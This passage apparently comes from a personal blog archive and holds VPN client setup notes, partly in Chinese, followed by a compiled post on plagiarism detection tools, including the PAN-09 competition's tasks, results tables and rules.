p/s: to back to your current connection.. stop the service and reroute back to your original gateway.
in my case
./vpnclient stop
route del default
route add default dev ppp0
where ppp0 is my celcom 3g modem interface

8.UltraVPN

注册帐号。
到UltraVPN的网站http://ultravpn.fr/account.htm输入帐号、密码，帐号立马到手。邮箱是可选项，用于找回密码。

widows篇：

下载UltraVPN

http://ultravpn.fr/download/ultravpn-install.exe

安装和设置可以看的alonweb安装使用教程两者几乎一样。

Ubuntu篇:

1. 获取ca证书和帐号配置文件。这一步有二个渠道完成。
借助Windows或Mac的机器安装好UltraVPN之后，复制软件安装路径中config目录下的ca.crt、client.ovpn和stealthy connect.ovpn三个文件。
或者直接下载为大家准备的ca.crt、client.ovpn、stealthy connect.ovpn.地址为：http://d.namipan.com/d/596d2edee6e6aea86022000daa34d841f93dd9c6c5050000

2. 安装OpenVPN。

$ sudo apt-get install network-manager-openvpn3. 建立VPN连接。这一步也有两种方式完成。
导入式：右键点击网络连接图标，选择“编辑连接…”，切换到标签“VPN”，点“导入“，选择第2步获取的client.ovpn文件（也可以选择stealthy connect.ovpn文件，用于创建安全连接），在弹出的编辑界面中填好第1 步注册的用户名、密码，”CA 认证”选择第2步获取的”ca.crt”文件，点”应用”完成。

4. 连接VPN。左键点击网络连接图标，在“VPN Connections“中选择第2步创建的连接,在这里会弹出一个提示：

如果网络连接图标出现一个小锁，

就说明连接成功了，访问一下www.google.com看是不是变成法国的了。

BlackVPN

打开blackVPN官方网站 http://www.blackvpn.com/，进行免费申请blackVPN账号

第一项 InviteCode 邀请码输入 GetUp
再依次输入你的邮箱，名，姓等等完成注册。
然后网站会随机反馈给你户名和密码
username/login: XXXXX
password:XXXXX
记住上面这两个。
接下来的步骤和UltraVPN一样。
导入的文件为blackvpn.zip
里面有三个设置
blackvpn_netherlands.conf
blackvpn_uk.conf
blackvpn_usa.conf
任选一个，三个的连接速度会不一样，选其中快的
证书在ssh文件夹里ca.crt

Plagiarism Detection

2010-01-09T19:42:00.001-08:00

Plagiarism Detection Tools

http://pulsar.ehu.es/en/resources/elearning-tools/anti-plagiarism

Tools to detect plagiarism and to analyse the use of references

Digital information is everywhere and is easy to be reproduced. Students write their assignments differently and there is also a big concern about plagiarism.The following tools offer features that will help teachers to detect when a text has been copied but also to analyze the management and development of resources made by students.

Name	Description	Cost	Licence	Mode
Antiplagio Educared	Antiplagio Educared is free, but must be downloaded to your PC and works only with Windows. Antiplagio analyzes the content of services such as El Rincón del Vago or Enciclonet. Teachers can upload their notes and other students work to feed the database.	Free	Proprietary code	Desktop application
Approbo	Approbo is an online platform that automates the processes for identifying non-original fragments in a text. It supports a wide range of file formats. The document search is done with Google, checking the millions of websites that the search engine indexes.	Free	Proprietary code	Web application
Compilatio	Compilatio is a web application supported by most browsers, although it can can not be integrated into Learning Management Systems. Its price, depending on the number of students of the institution, ranges from 800 to 1,000 euros.	Commercial	Proprietary code	Web application
Turnitin	Turnitin can be used from any browser and it can be into the learning platforms like Blackboard, WebCT, Angel or Moodle. Its price ranges from 5,000 € per year (schools) and 9000 € (universities). Tracks from over 12,000 million webs, 80 million students jobs, 10,000 newspapers, magazines and scientific journals and thousands of books, including classics. Founded in 1995 in the United States, the company landed in Europe in 2002 via the United Kingdom, where "it is used by 97% of educational institutions"	Commercial	Proprietary code	Web application

approbo

Approbo comparator is completely free online document that compares the desired file matching those found on the Internet, further indicating the degree of similarity between the original and to compare the different results.

http://approbo.citilab.eu/

usename :zhangalex

password : *********

2.

The 20 Best Free Anti-Plagiarism Tools

Filed as Features, General, Guides on June 25, 2007 9:00 am

by Jonathan Bailey

Technology has been very kind to the plagiarist.

Where once the plagiarist would have to re-type the paper or repaint the portrait, content theft now is just a mouse click or a keyboard shortcut away. Worse yet, whole technologies have been built around content theft. For example, RSS scraping applications can steal the content from thousands of feeds in a single hour, creating countless spam blogs.

However, technology is a double-edged sword. At the same time it has made content theft easier than ever, it has also empowered content producers with new, more powerful means of monitoring and enforcing their content rights.

No longer does a copyright holder have to wait to accidentally discover plagiarism or hope that a bystander will alert them, no longer is enforcement a long, arduous process. Every Webmaster, no matter how small, has the tools they need to track and stop theft of their content.

It is simply a matter of knowing where to look.

Prevention

Preventing content theft is something of a holy grail. It is the perfect solution, but also the least practical. The tools needed to prevent copying of work generally do more to annoy legitimate users than to stop plagiarists. That being said, there are a few prevention tools worth taking a look at.

Pictureshark – A hard to remove transluscent watermark is by far the most effective method of preventing image theft. Pictureshark is a fast, free and powerful batch image watermarking tool that can process hundreds of images with a variety of effects.

Devpapers .htaccess Hotlink Protection- For Webmasters that pay their bandwidth bills, image hotlinking is a double problem. Not only is it a form of content theft, but also of bandwidth theft as every load of the plagiarist’s page requires the image be pulled from the original server.Webmasters should test to see if their images can be hotlinkied and, if they can, consider editing the .htaccess file to prevent hotlinking or use a PHP script to achieve that end.

Bad Behavior – A PHP script available for most CMS platforms, Bad Behavior is an anti-spam tool that can also be used to stop some forms of automated content theft. Though not necessarily useful against RSS scraping, any “evil” bots that visit your sites, no matter for what reason, are likely to be caught in Bad Behavior’s net. This can stop malicious spidering and automated saving of content.

Watermark.Ws – Don’t have time to download software to watermark your images? Use Watermark.ws and add your overlays on the Web. Watermark.Ws lets you add text or an image over your copyrighted work and set the alpha level, enabling centrally-located and more powerful watermarks.

Detection

Detecting content theft, though not as desireable as prevention, is a much easier method. There are many tools that can easily detect content theft and, from there, one can easily follow up on it. Best of all, this has no impact on the legitimate readers of your site, just the those that abuse your content.

Google Alerts – Rather than searching for your own content by hand from time to time, let Google Alerts do it for you. Punch in a few unique phrases from your work, set Google Alerts to inform you when those phrases appear on the Web and relax. Best of all, it can be combined with other tools below for an even more powerful experience.

Copyscape – Based upon the Google API, Copyscape enables you to search for plagiarism of an entire page. It looks for content theft that traditional Google searches and Google Alerts may miss including sites that take only a part of your work. The free version is very limited and will only display the top ten results. Thus, it may not be practical for sites that allow some reuse of their content.

Digital Fingerprint Plugin – Maxpower’s Digital Finger Plugin for Wordpress appends a unique phrase or key to the end of every post in your RSS feed. It then offers tools to help you search for that fingerprint on the Web. The plugin also works well with Google Alerts.

Technorati Watchlists – Much like Google Alerts, Techorati watchlists can be used to inform you instantly when unique keywords or a fingerprint appears on another blog. A very powerful tool for blogs.

Google Image Search – Detecting image plagiarism is very difficult, however, if you give your images unique file names you can search for that name in Google image search and locate duplicates of it that way. Most plagiarists do not bother to change image names when putting it up on their site, making it very easy to spot such infringements.

Cessation

Once plagiarism has been detected, it has to be stopped before the detection is of any use. Fortunately, there are several tools to help.

Copyfeed – A veritable swiss-army knife of content protection, Copyfeed not only adds a digital fingerprint to detect infringement, but also can be used to embed IP address of RSS scrapers in the posts andt hen, in turn, ban them from accessing the feed. For Wordpress users, this plugin is practically a must-have.

Ebay VeRO Program – If your content regularly appears on Ebay, it might be worth your time to sign up for Ebay’s Verified Rights Owner Program to enable you to easily close auctions that infringe upon your rights. VeRO is easily the most powerful program of its kind on the Web and worthwhile for any Webmaster that finds a great deal of their work on Ebay.

Reporting

Sometimes, when stopping plagiarism or content theft, you can not take action yourself and, instead, have to report it to someone else. In those cases, there are many different tools and resources to help.

Domain Tools – Need to quickly find out who the host is of a dot com? Domain Tools can help. Just type in the domain and you’ll get all of the information you need about the site. Under “Server Data” you can easily locate all of the information about the server, including who operates it.

DMCA Templates – If you’re going to report a site to a U.S.-based host, you are going to need to file a DMCA notice. To do that, you’ll need a DMCA template. Fortunately, Ian McAnerin has posted templates of DMCA notices on his site, including one for each of the major search engines and a generic ISP one.

Plagiarism Today’s DMCA Contact Information – Once you know who the host is, the question becomes who to contact there. On my site, I’ve compiled a list of links to over 100 of the largest hosts, advertising networks and search engines. If you notice infringing content on a site hosted by one of these companies, just follow the link to report it. Odds are the company you need is somewhere on the list.

U.S. Copyright Office DMCA List – Similar to the list on my site, the United States Copyright Office maintains a list of DMCA contact information for various hosts. Though their list has many more companies, many major hosts have not registered and others have let their information fall out of date. However, it remains an excellent backup. This site requires Acrobat Reader or another PDF viewer to use.

Signature Extension – Instead of copying and pasting the template in every time it is needed, it is much easier to use the Signature Firefox extension and drop it in. Works great with shorter blocks of text and any template you might have use for. Functions well with Webmail systems as well as online reporting systems such as what is found at LiveJournal.

Non-Repudiation

Finally, in the event of a dispute regarding the ownership of the work, it may be important to have some evidence that the work is truly yours. With that in mind, there are some great services to help you verify the creation of your work.

Numly – Numly’s ESN system enables users to register their content, which is then fingerprinted and timestamped, and receive a special number that can be used to retrieve all of the pertinent information on it. Free accounts offer three ESNs per month. A Wordpress plugin is available.

Registered Commons – From the Creative Commons team comes Registered Commons. Like Numly, RC lets you register your work, receive a certificate and an identification number and gives you a timestamp plus a fingerprint of the work. Both Numly and RC allow you to embed Creative Commons Licenses into your work. RC is completely free to use.

Archive.org – The Web Archive, which famously indexes and preserves old versions of Web pages, makes it possible to backtrack and see roughly how long a page was up. Though not as exact as an ESN or a Registered Commons registration, it can be useful in cases where the work was not registered and only a rough answer is needed.

Furl – Though not a non-repudiation service, Furl can be useful in preserving evidence against a plagiarist. A social bookmarking site, Furl also saves a cached copy of every page saved to it, this can be very useful if the plagiarist changes the page or removes the content. It is also valuable for your own records to have a file of what you did and why, just in case the issue comes up again later.

Conclusions

While technology has been kind to the plagiarist, it has been at least as kind to the author. For the first time in history and individual, without any great expense, can reach a worldwide audience and get his message out in numbers never before dreamed of.

Yes, with it comes a risk of plagiarism and content theft, but solutions are being created to mitigate that risk and streamline the process of protecting content and securing author’s rights.

It is and will continue to be a bumpy road, but if one knows how to navigate it, the ride can be more than tolerable.

What is CopyGator ?

This is a free service designed to monitor your RSS feed and find where your content has been republished in the blogosphere. We automatically notify you when a new post of yours is copied to another feed, we also build an overview page you can view to see how/when/where your content is being duplicated, quoted or plagiarized. This is an entirely free service and is powered by the feed spidering power of ://URLFAN. Learn more on how the CopyGator does what he does. or view an example of our content overview page for Gizmodo.com

http://www.copygator.com/

4. Related competitions

1st International Competition on Plagiarism Detection http://www.webis.de/pan-09/competition.php

The detection of plagiarism by hand is a laborious retrieval task---a task which can be aided or automatized. The PAN competition on plagiarism detection shall foster the development of new solutions in this respect.

Competition Tasks
Award
Final Results
Winner
Competition Corpus
Performance Measures
Registration
Result Submission
Participant Network
Competition Rules
FAQ
Competition Organization

Competition Tasks

The competition divides into two tasks:

External Plagiarism Analysis.
Given a set of suspicious documents and a set of source documents the task is to find all text passages in the suspicious documents which have been plagiarized and the corresponding text passages in the source documents.
Intrinsic Plagiarism Analysis.
Given a set of suspicious documents the task is to identify all plagiarized text passages, e.g., by detecting writing style breaches. The comparison of a suspicious document with other documents is not allowed in this task.

Participants may submit results for one or both of the tasks.

Award

Yahoo! Research will award a cash prize of 500 Euros to the winner of the competition.

Final Results

In total, we received submissions from 13 out of 21 registered participants. There were 10 submissions for the external plagiarism analysis task and 4 for the intrinsic plagiarism analysis task (1 participant submitted results for both tasks). The competition corpus contains 46,946 plagiarism cases, 36,475 of them in the corpus for the external analysis task, and the remaining 10,471 in the corpus for the intrinsic analysis task.

The following three tables summarize the detection performances of the participants: the first table lists the participants who took part in the external analysis task, the second table lists the participants who took part in the intrinsic analysis task, and the third table lists each participant's overall performance in both tasks. The participants are ranked according to the overal score, which is computed based on the F-measure, precision, recall, and granularity.

How to interpret the results? Take the first row of the first table as an example, and concentrate on the columns Precision, Recall, and Granularity. In this case the participant's precision is 0.7418 which means that 74.18% of his detections are correct, i.e., 25.82% of his detections are incorrect. The recall, on the other hand, is 0.6585 which means that the participant detected 65.85% of the plagiarism which is actually in the test collection, and 34.15% of the plagiarism has gone unnoticed. The granularity value is about 1.0 which, roughly speaking, means that one can expect that the participant's algorithm will detect each plagiarism case at most once.
The column F-measure is a combination of Precision and Recall. Note that here, the absolute values have no semantics attached; it can only be said that the closer the value is to 1, the better the participant's performance is. Likewise, the Overall score is a combination of F-measure and Granularity, so that, again, values close to 1 indicate good performance. In particular, these values cannot be interpreted as percentages. We computed these values to allow for an absolute ranking among the participants which would not have been possible based on Precision, Recall, and Granularity only. The latter, however, are what counts.

External Plagiarism Analysis Task
Rank	Overall score	F-measure	Precision	Recall	Granularity	Participant

1	0.6957	0.6976	0.7418	0.6585	1.0038	C. Grozea Fraunhofer FIRST, Germany
2	0.6093	0.6192	0.5573	0.6967	1.0228	J. Kasprzak, M. Brandejs, and M. Křipač Masaryk University, Czech Republic
3	0.6041	0.6491	0.6727	0.6272	1.1060	C. Basile, D. Benedetto°, E. Caglioti°, and M. Degli Esposti *Università di Bologna and °Università La Sapienza, Italy
4	0.3045	0.5286	0.6689	0.4370	2.3317	Y. A. Palkovskii, A. V. Belov, and I. A. Muzika Zhytomyr State University, Ukraine
5	0.1885	0.4603	0.6051	0.3714	4.4354	M. Granitzer, M. Muhr, M. Zechner, and R. Kern Know-Center Graz, Austria
6	0.1422	0.6190	0.7473	0.5284	19.4327	V. A. Scherbinin* and S. Butakov° *American University of Nigeria, Nigeria, and °Solbridge International School of Business, South Korea
7	0.0649	0.1736	0.6552	0.1001	5.3966	R. C. Pereira, V. P. Moreira, and R. Galante Universidade Federal do Rio Grande do Sul, Brazil
8	0.0264	0.0265	0.0136	0.4586	1.0068	E. Vallés Balaguer, using WCopyFind Private, Spain
9	0.0187	0.0553	0.0290	0.6048	6.7780	J. A. Malcolm, P. C. R. Lane, and A. Rainer Ferret, University of Hertfordshire, UK
10	0.0117	0.0226	0.3684	0.0116	2.8256	J. Allen Southern Methodist University in Dallas, USA

Intrinsic Plagiarism Analysis Task
Rank	Overall score	F-measure	Precision	Recall	Granularity	Participant

1	0.2462	0.3086	0.2321	0.4607	1.3839	E. Stamatatos University of the Aegean, Greece
2	0.1955	0.1956	0.1091	0.9437	1.0007	B. Hagbi and M. Koppel Bar Ilan University, Israel
3	0.1766	0.2286	0.1968	0.2724	1.4524	M. Granitzer, M. Muhr, M. Zechner, and R. Kern Know-Center Graz, Austria
4	0.1219	0.1750	0.1036	0.5630	1.7049	L. M. Seaward and S. Matwin University of Ottawa, Canada

Overall Tasks
Rank	Overall score	F-measure	Precision	Recall	Granularity	Participant

1	0.4871	0.4884	0.5193	0.4610	1.0038	C. Grozea Fraunhofer FIRST, Germany
2	0.4265	0.4335	0.3901	0.4877	1.0228	J. Kasprzak, M. Brandejs, and M. Křipač Masaryk University, Czech Republic
3	0.4229	0.4544	0.4709	0.4390	1.1060	C. Basile, D. Benedetto°, E. Caglioti°, and M. Degli Esposti *Università di Bologna and °Università La Sapienza, Italy
4	0.2131	0.3700	0.4682	0.3059	2.3317	Y. A. Palkovskii, A. V. Belov, and I. A. Muzika Zhytomyr State University, Ukraine
5	0.1833	0.4001	0.4826	0.3417	3.5405	M. Granitzer, M. Muhr, M. Zechner, and R. Kern Know-Center Graz, Austria
6	0.0996	0.4333	0.5231	0.3699	19.4327	V. A. Scherbinin* and S. Butakov° *American University of Nigeria, Nigeria, and °Solbridge International School of Business, South Korea
7	0.0739	0.0926	0.0696	0.1382	1.3839	E. Stamatatos University of the Aegean, Greece
8	0.0586	0.0587	0.0327	0.2831	1.0007	B. Hagbi and M. Koppel Bar Ilan University, Israel
9	0.0454	0.1216	0.4586	0.0701	5.3966	R. C. Pereira, V. P. Moreira, and R. Galante Universidade Federal do Rio Grande do Sul, Brazil
10	0.0366	0.0525	0.0311	0.1689	1.7049	L. M. Seaward and S. Matwin University of Ottawa, Canada
11	0.0184	0.0185	0.0095	0.3210	1.0068	E. Vallés Balaguer, using WCopyFind Private, Spain
12	0.0131	0.0387	0.0203	0.4234	6.7780	J. A. Malcolm, P. C. R. Lane, and A. Rainer Ferret, University of Hertfordshire, UK
13	0.0081	0.0157	0.2579	0.0081	2.8256	J. Allen Southern Methodist University in Dallas, USA

Winner

We are happy to announce the following winners:

Task winner of the external analysis task is Cristian Grozea from Fraunhofer FIRST.
Task winner of the intrinsic analysis task is Efstathios Stamatatos from the University of the Aegean.
Overall winner of the 1st International Competition on Plagiarism Detection is Cristian Grozea from Fraunhofer FIRST.

Congratulations!

Competition Corpus

We have set up a large-scale corpus of artificial plagiarism for the competition. The corpus contains primarily English documents in which all types of plagiarism cases can be found, namely monolingual plagiarism with varying degrees of obfuscation, and translation plagiarism from Spanish or German source documents. The corpus is self-contained, i.e., the source documents of all plagiarism cases are part of the corpus.

To generate artificial plagiarism cases we have employed a random plagiarist: given a text the plagiarist decides whether or not he will plagiarize, from which documents he will plagiarize, how many passages will be plagiarized, and for each plagiarized passage of which type and length it will be. The type of a plagiarized passage may either be obfuscated plagiarism or translated plagiarism. The random plagiarist attempts to obfuscate his plagiarism by applying a random sequence of text operations such as shuffling a word, deleting a word, inserting a word from an external source, or replacing a word with a synonym, antonym, hypernym, or hyponym. Translated plagiarism is created using machine translation.

Corpus Statistics

Corpus size: 20 611 suspicious documents, 20 612 source documents.
Document lengths: small (up to paper size), medium, large (up to book size).
Plagiarism contamination per document: 0%-100% (higher fractions with lower probabilities).
Plagiarized passage length: short (few sentences), medium, long (many pages).
Plagiarism types: monolingual (obfuscation degrees none, low, and high), and multilingual (automatic translation).

Corpus Format

In the corpus you will find plain text files encoded in UTF-8, and along each text file an XML file with meta information. The documents are divided into two folders, one with the suspicious documents and the other one with the source documents. Details about the available meta information can be found within the corpus.

Release Plan

The corpus will be released partially during the competition, and in full after competition. For each of the competition tasks a development corpus and a competition corpus will be released. The development corpus will contain annotated artificial plagiarism cases, the competition corpus will contain artificial plagiarism cases without annotation. The former can be used to develop and evaluate your plagiarism detection software while the latter will be used to determine the best plagiarism detection approach. Note that only your success in detecting the plagiarism in the competition corpus will be considered when selecting the winner of the competition.

Download

The full corpus, including annotations of all plagiarism cases for both tasks, can be found here.
The version of the corpus which was used during the comeptition is available on demand.

Performance Measures

The success of a plagiarism detection software will be measured in terms of its precision, recall, and granularity on detecting the plagiarized passages in the corpus. Let s denote a plagiarized passage from the set S of all plagiarized passages. Let r denote a detection from the set R of all detections and let S_R be the subset of S for which detections exist in R. Let |s|, |r| denote the char lengths of s, r and let |S|, |R|, |S_R| be the sizes of the respective sets. The formulas compute as follows:

Remarks.

We use the character counts in the formulas for precision and recall instead of, for instance, word counts to meet the fact that we cannot know what kind of tokenization approach you will be using. Thus, counting the characters which overlap with plagiarized passages is the safest way to compute these values.
Recall and precision are well-known measures to assess retrieval performance, but granularity is not. We have added this performance measure to determine whether your plagiarism detection algorithm reports a plagiarized passage as a whole, or rather divided into many small and/or overlaping phrases. The former is preferable since it accounts for a better usability of your tool.
External plagiarism cases and external detections comprise the chars of both the plagiarized passage and the source passage.
An external detection r must overlap by at least one char with both the plagiarized passage and the source passage of the corresponding s, otherwise it will not contribute to the recall of s and the precision of r will be set to 0.

Registration

The registration is closed.

To register for participation in the competition send an e-mail to pan09@webis.de which includes the following information:

name of your group (optional),
full names, affiliations, and e-mail addresses of all group members,
the designated group leader, and
the competition tasks you will be participating in.

You will receive a short notification of you registration from one of the organizers.

Result Submission

The deadline for submitting detection results on the competition corpus is June 11, 2009.
The results of your plagiarism detection algorithm are required to be formatted in XML:

<document reference="..."> 
<feature name="detected-plagiarism" 
this_offset="5" 
this_length="1000" 
source_reference="..." 
source_offset="100" 
source_length="1000" 
/>
... 

<feature name="detected-plagiarism" 
this_offset="5" 
this_length="1000"
/>
... 
</document>

The result document must be valid with respect to the XML schema found here.
In order to upload your results, please follow this tutorial.

Participant Network

We have set up a mailing list to connect prospective participants. Feel free to join!

Subscribe to the mailing list:

Email:

Visit the mailing list.

Competition Rules

Agreement. Participation in the competition constitutes the participant's full and unconditional agreement and acceptance of these rules.
Eligibility. The contest is open to any party planning to attend the PAN competition. A person can participate in only one group. Multiple submissions per group are allowed for each task. We will not provide feedback on the performance at the time of submission: only the last submission before the deadline will be evaluated and all other submissions will be discarded.
Integrity. The exploitation of potential flaws in the competition corpus to gain advantages in the competition is prohibited.
Winner Selection. There will be one winner of the "External Plagiarism Analysis" task, one winner of the "Intrinsic Plagiarism Analysis" task, and one winner of the whole competition. The winners will be determined according to the following method. All participants are ranked according to their overall performance on the competition corpus for each task which is measured as F-measure (harmonic mean of precision and recall) divided by granularity. Winner of a task is the participant who has the highest score on the respective part of the corpus. Winner of the competition is the participant who has the highest score on the whole competition corpus.
Award. The winner of the whole competition will be awarded the prize money. We expect that one member of the winning group attends the forthcoming PAN workshop and presents his approach. The winner is also encouraged to submit a research paper about his approach to the workshop.

FAQ

My software will not be able to detect cross-language plagiarism. Can I participate anyway?
Yes, definitely! The corpora contain only a small percentage of cross-language plagiarism. However, when selecting the winner we will not distinguish participants who claim to detect cross-language plagiarism from those who don't.
Is it mandatory to also submit a research paper to the workshop when participating in the competition?
No, but we strongly encourage you to do so since this is a great opportunity for you to present your approach.
Do I need to submit my paper in Spanish?
No, unlike the SEPLN conference the PAN workshop will be held in English only.
How often can I submit detection results?
As often as you like, however, only the last submission counts for the competition.
Is it possible to register only for the PAN workshop and not for the SEPLN conference?
Yes.
Can vendors of commercial plagiarism detection software participate?
Yes.

Competition Organization

Martin Potthast, and Andreas Eiselt (Bauhaus University Weimar), and
Alberto Barrón-Cedeño (Universidad Politécnica de Valencia)

5.other tools

Plagiarism Tools
Add a link Top of page

Duplichecker ... Free plagiarism checker
http://www.duplichecker.com
Duplichecker ... Free plagiarism checker
Check plagiarism for free on several search engines. Check with and without quotes making sure content is not indexed before.

Viper - easy, accurate, free - plagiarism checker
http://www.scanmyessay.com
This easy, accurate and free plagiarism checker will help you stay plagiarism-free!

Teacher and Student Plagiarism Checking
http://www.assignmentproof.com
Whether you want to check plagiarism against a submitted set of documents, cached or live internet resources, publications, books, articles, magazines or billions of student papers submitted in universities and colleges world wide...we can offer a solution which is both budget friendly and guarantees results with a full money back warranty.
Free trial

Chimpsky
http://chimpsky.uwaterloo.ca
Chimpsky detects plagiarism in text documents.
It finds duplicated content within a set of uploaded documents, and it facilitates Google searches for web-derived content.

Plagiarism Checking http://www.checkforplagiarism.net/
http://www.checkforplagiarism.net
Choosing An Online Plagiarism Detector To Check For Plagiarism
With so many online plagiarism detectors, choosing one may seem like an overwhelming task, but it can be easy if you know what you're looking for.

Plagiarism Detection : List at PlagiarismAdvice (UK)
http://www.plagiarismadvice.org/plagiarismdetection.php
Plagiarism Detection : List at PlagiarismAdvice (UK)

ImageStamper (really a citation tool)
http://s1.imagestamper.com/
ImageStamper is a free tool for keeping dated, independently verified copies of license conditions associated with creative commons images.
You can use it to safeguard your use of free images from license changes, or to prove you are the original image creator.
Simply paste the URL of the page that contains the image you intend to use. ImageStamper will produce a timestamp of the image's license and will store this timestamp permanently in your account.
The timestamp proves you obtained the image under that license and you can show it to others using a unique permalink.

Plagium
http://www.plagium.com
Plagium is a fast, and easy-to-use means to check text against possible plagiarism or possible sources of origination.
User can simply enter text that he would like to analyze into the text box and let Plagium do the rest of the work or he can also check the contents of an entered URL for its sources.

Plagiarism Detection Tool : iScan
http://www.plagiarism.uk.com
Plagiarism detection tool iScan makes checking for problem easy.
Scan your essay against Wikipedia, e-zines, article databases, Google books and other popular sources of plagiarism.

The Plagiarism Checker
http://www.dustball.com/cs/plagiarism.checker/
This educational software was designed as a project for the University of Maryland at College Park Department of Education.
It looks like it is basically doing a Google search.

Plagiarism Detector
http://www.plagiarism-detector.com
Plagiarism Detector - is a personal software tool to effectively discover, trace and in this way prevent unauthorized copy-pasting of any textual material taken from the world wide web.
It uses the Google database to send hundreds of requests per second to verify the text originality.
Free demo version is avaliable for download!

Copyscape
http://www.copyscape.com/
Defending your rights online, Copyscape is the leading provider of services that protect your content against online plagiarism and theft.
The free Copyscape service makes it easy to find copies of your content on the Web. Simply type in the address of your web page, and Copyscape does the rest.
Copyscape finds sites that have copied your content without permission, as well as those that have quoted you.
Copyscape Premium provides more powerful searching than the free service with no monthly limit. You may also search for copies of your offline content by copying and pasting the text.

Free online plagiarism detection tool
http://www.plagiarismdetect.com
Free online plagiarism detection tool. Upload text file future. Live ajaxified search.

DOC Cop
http://www.doccop.com/
DOC Cop is a plagiarism detection tool that creates reports displaying the correlation and matches between documents or a document and the web.
DOC Cop does not take ownership or copyright of your material. It does not retain your material beyond the time it takes to generate your report.
DOC Cop is lightning fast, capable of processing one million words or a thousand thousand-word documents within 20 minutes.
DOC Cop gathers the evidence, and provides the information required for you to judge whether or not plagiarism has occurred.

Free Plagiarism Detection Tool
http://www.englishessays.org.uk/free-plagiarism-scanner-scan.php
Our free plagiarism scanner will scan your essays or other documents against online sources, as well as any text documents on your local computer or server. The plagiarised fragments will be outlined and highlighted by the scanning software so you can easily edit your work and make it plagiarism free! You will need to register to use the software.

My Drop Box
http://www.mydropbox.com
MyDropbox Suite integrates a renowned plagiarism prevention technology with a versatile digital learning environment that enables instructors to manage online assignments, organize electronic submissions and mark papers on the Web.

Plagiarism and Copyright: Videos and PowerPoints
http://plagiarismvideos.blogspot.com/
The link above goes to one of the Shambles "Forest of Theme Blogs" pages that provides videos and other multimedia resources to support the topic here.
If you would like to see all of the Theme Blogs then go to the full list athttp://www.shambles.net/blogforest or click where you see this button

Article Checker
http://www.articlechecker.com
Article Checker is a new tool that searches Google, Yahoo and MSN for your content.
Or, you can use the shortcut of articlechecker.com/URL

Project Analyzer (for Visual Basic)
http://www.aivosto.com/project/project.html
Program source code analyzer that finds duplicated code blocks. Can be used to detect plagiarism in software written in Visual Basic, VB.NET and VBA.

CodeMatch (for computer software)
http://www.ZeidmanConsulting.com/CodeSuite.htm
CodeMatch (for computer software)
CodeMatch has become the standard tool in software copyright cases.
It compares thousands of source code files in multiple directories and subdirectories to determine which files are the most highly correlated. This can be used to significantly speed up the work of finding source code plagiarism, because it can direct the examiner to look closely at a small amount of code in a handful of files rather than thousands of combinations.
CodeMatch is also useful for finding open source code within proprietary code, determining common authorship of two different programs, and discovering common, standard algorithms within different programs.

EssayFraud
http://www.essayfraud.org/
EssayFraud.org is a watchdog organization that investigates hypocrisy involving plagiarism in academia. We also dissuade plagiarism by enabling consumers and freelance writers to publish complaints about term paper mills.
List of Fraudulent Companies that Consumers should Avoid
350 Scam Sites - Warning Signs - Complaint Forum - Plagiarism - Verification Criterion

Numly
http://numly.com/numly/default.asp
Numly assigns Numly Numbers (Electronic Serial Numbers / ESNs) for all things digital.
These unique identifiers provide digital rights management capabilities as well as third-party, non-repudiation measures for proof of copyright via real-time verifications.
Numly Numbers are simple to generate and act as an electronic timestamp. They also allow you to track who is viewing your content and when it is accessed, monitor ratings, and can be used as permalinks!

Issues Raised by the Use of Turnitin
http://cyberdash.com/plagiarism-detection-software-issues-gvsu
Issues Raised by Use of Turnitin Plagiarism Detection Software

Moss : A System for Detecting Software Plagiarism
http://www.cs.berkeley.edu/~aiken/moss.html
Moss : A System for Detecting Software Plagiarism
To date, the main application of Moss has been in detecting plagiarism in programming classes. Since its development in 1994, Moss has been very effective in this role. The algorithm behind moss is a significant improvement over other cheating detection algorithms (at least, over those known to us).

Pl@giarism : a plagiarism detection tool
http://www.plagiarism.tk/
Pl@giarism : a plagiarism detection tool
At the Law Faculty of the University of Maastricht we used this plagiarism detection tool for screening student-documents on the same subject. Success is guaranteed. First because the students knowing that we used this tool became careful in copying each others work. And secondly because the program detects even the smallest form of plagiarism (such as the most common paraphrases of some lines out off a textbook all students used). The program makes a table where documents are sorted on their resemblance percentage (figure 1) and by clicking in the table the clicked document-pair will be shown in two RTF-boxes with the matches colored in blue (figure 2).
The Plagiarism detection program is available for downloading .. free.

Plagiarism Checker
http://www.plagiarismchecker.com/
Plagiarism Checker
Check for Plagiarism On the Web for Free
Plagiarism Checker can help you find out whether a student's paper has been copied from the Internet.

iThenticate
http://www.ithenticate.com/static/home.html
iThenticate is a system that combats the piracy of intellectual property and ensures the originality of written work for publishers, news agencies, corporations, law firms, and non-profit entities.
Unlike some other plagiarism detection systems, iThenticate requires no installation or maintenance of additional software. Because iThenticate is completely web-based, compatibility between different computers and operating systems is never a problem.

Firefox (Web browser) : Plagiarism Plugin
http://www.1hs.org/blog/?p=23
Firefox (Web browser) : Plagiarism Plugin

Google as a Plagiarism Tool
http://www.google.com
Google as a Plagiarism Tool ... sometimes just copying and pasting some text from a students work into Google (or other search engine) and doing a search can identify plagiarism.
Probably not the best individual tool ... but it is free.

Software for Detecting Plagiarism (Free)
http://www.plagiarism.phys.virginia.edu/
Software for Detecting Plagiarism (Free)
The goal of this web site is to help reduce the impact of plagiarism on education and educational institutions. At present, it distributes free software to detect plagiarism and provides links to other resources. This site's sole author is Lou Bloomfield, Professor of Physics, University of Virginia,

LexisNexis CopyGuard
http://www.lexisnexis.com/copyguard/
LexisNexis CopyGuard
LexisNexis has teamed with iParadigms, LLC to create LexisNexis CopyGuard, a revolutionary new plagiarism deterrent solution. LexisNexis CopyGuard uses pattern-matching technology to identify suspect passages in submitted documents. An easy-to-read report underlines and color codes questionable sentences, with links to the original sources. Ultimately you spend less time verifying content and improve your organization? productivity.
LexisNexis CopyGuard searches against more than five billion relevant, searchable documents available through the LexisNexis news services and the archived Web pages indexed by IParadigms, LLC so that you can be confident that you are getting the most accurate results possible.

Glatt Plagiarism Self-Detection Program (GPSD)
http://www.plagiarism.com/self.detect.htm
Glatt Plagiarism Self-Detection Program (GPSD)
A Screening Program to help detect inadvertent instances of plagiarism.
This Test is designed to help you become more sensitive to your own writing style. It is also hoped that you will gain some insight into how to detect and avoid plagiarism.
The Glatt Plagiarism Self-Detection Test provides a ROUGH estimate that plagiarism has or has not occurred. Based on the percentage of correct answers, the test results are intended to be used to help you become aware of text which you may have inadvertently plagiarized.

Glatt Plagiarism Screening Program (GPSP)
http://www.plagiarism.com/screening.htm
Glatt Plagiarism Screening Program (GPSP)
The Glatt Plagiarism Screening Program is the first comprehensive computer software program specifically designed for detecting plagiarism. Objective. Reliable. Valid. Educators will appreciate being able to focus on teaching and not worry about dishonest writing.
